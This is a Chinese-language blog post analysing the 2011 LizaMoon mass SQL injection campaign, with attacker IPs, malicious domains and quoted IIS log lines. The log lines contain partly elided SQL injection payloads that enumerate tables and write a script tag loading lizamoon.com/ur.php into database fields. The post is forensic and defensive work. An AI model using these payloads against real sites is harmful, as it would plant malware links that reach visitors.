资安厂商Websense在3/29发布了一则消息,一个被命名为LizaMoon的SQL Injection攻击正在席卷全球,已有许多网站遭受攻击,网页内容中被塞了lizamoon字串,疑似挂马连结,透过Google查询lizamoon. com关键词,被稙入恶意连结的URL数在两天内由28,000个急速增加到380,000个(2011/03/31 22:00 UTC+8时的资料),有如海啸狂扫(Websense说: it makes it one of the bigger mass-injection attacks we have ever seen.), 甚至iTune网站也名列其中。
不过,依据分析iTune中出现的恶意连结已被HtmlEncode为<script不至产生危害,并且推 断中镖数据下载自其他信息源,并非iTune本身受害,而加上HtmlEncode的处置也深得Websense赞许。(HtmlEncode真的很重 要! 由ASP.NET 4特别为它提供更简洁的新语法就知道它被呼叫的频率该有多高,如果你不知道为何它与资安有关,不妨看一下ASP.NET防骇指南)
httq: // lizamoon. com / ur . php这个URL目前是无效的(该不会因为被太多植入连结网站DDoS打挂了吧? XD),但网站是活的。在它曾经有效的一段期间,ur.php会传回一段Script将用户导向一个著名的假冒防毒网站,不过该网站也挂点中。 Websense调查了lizamoon. com的底细,发现它是3/25才用假资料注册的,换句话说,这波攻击只花了短短几天就污染了超过38万个网址(以URL计,非网站数),而且开始注入开 始出现lizamoon以外的域名的Script连结网址。
目前网络上找到的数据尚少,无从推断太多攻击细节,不过我在ASP.NET官方讨论区的一个讨论串倒是找到不少蛛丝马迹...
My database was inserted a string like "</title><script src=http://lizamoon.com/ur.php></script>". Event(Even?) the username field in aspnet_users table. So now I can't login my website if I use asp.net security. Who know about this problem please tell me what happening with my database or my website.
由开场白看来,连aspnet_users的username字段都被注入恶意script连结,非常像古早前看过的游击式SQL Injection攻击, 攻击程序将全部SQL指令浓缩成一列,随意尝试连上有带QueryString参数并夹带攻击用的SQL指令加在网址后方,一旦该网页有SQL Injection漏洞,则附加于参数中的SQL指令就会被执行,查询SQL Server的sysobjects, syscolumns,列出所有的文字字段,并透过UPDATE指令在所有文字字段都插入恶意script连结,一旦这些字段被读取显示在前端,又未经 HtmlEncode转换,网页中就会包含<script src="恶意Script" />,所有连上该网站的访客,都会被迫加载恶意Script执行邪恶任务。相关的原理在游击式SQL Injection攻击一文中已有详细解说楚,这里不再赘述。
不过,更进一步检视讨论串,倒有了不同的结论:
Same for us. We cleaned the code yesterday, and moments ago... the same. (会反复中镖,表示攻击程序不只一只? 或是程序会持续攻击?)
几个可疑IP: 95.64.9.18(来自罗马尼亚), 91.217.162.45(来自乌克兰,著名的邪恶网络)
网友提供珍贵的IISLog(进行入侵鉴识时,这是超重要的线索)
2011-03-11 16:34:45 W3SVC1746246233 *MYSERVERIP* GET /dir/linkdetail.aspx id=11011+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+where+TABLE_NAME+not+in+(SELECT+TOP+0+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES))-- 80 - 91.217.162.45 Mozilla/5.0+(Windows;+U;+Windows+NT+5.0;+en-US;+rv:1.4)+Gecko/20030624+Netscape/7.1+(ax) 500 0 0
Doc.asp?id=PU12731+update+gCategoriasHistoricoTiposDescripciones+set+Descripcion=REPLACE(cast(Descripcion+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105) ....省略, 用CHR(nn)一个字符一个字符组出</title><script src=httq:// lazemoon .com / ur . php></script>…%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))-- - 95.64.9.18 Mozilla/5.0+(Windows;+U;+Windows+NT+5.0;+en-US;+rv:1.4)+Gecko/20030624+Netscape/7.1+(ax) - 302 498
2011-03-29 17:56:49 <<my server ip address>> GET /<<pagename>>.asp prod=MG0011'+update+tblMembers+set+Forename=REPLACE(cast(Forename+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105) ....省略, 用CHR(nn)一个字符一个字符组出</title><script src=httq:// lazemoon .com / ur . php></script>… %2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))-- 80 - 95.64.9.18 HTTP/1.1 Mozilla/5.0+(Windows;+U;+Windows+NT+5.0;+en-US;+rv:1.4)+Gecko/20030624+Netscape/7.1+(ax)
由这些Log来看,恶意SQL会锁定特定Table及字段,不像上回观察用sysobjects, syscolumns+CURSOR乱枪打鸟,显示本次攻击并非打了就跑,会先掌握数据库Schema的信息后再精准下手,所以前后应有多次存取(不知道为什么要选择这种做法,我还是觉得游击式的玩法比较有创意,唯一的缺点是Table、字段及数据很多时,执行起来耗时较久)
3/31起出现了非LizaMoon的网域用来挂ur.php (tadygus . com, verhoef – training. co. uk, t6ryt56 . info) ,显示透过防火墙封锁lizamoon. com也无法社绝使用者误连恶意网站的可能。
虽然对LizaMoon SQL Injection充满好奇,但依目前搜集到的资料就只能做出以上推测,如果有新的发展再做补充啰。
老话一句,大家千万不要把SQL Injection写进程序里变成害网站裸奔的猪头呀! 看不懂? 请参见这里。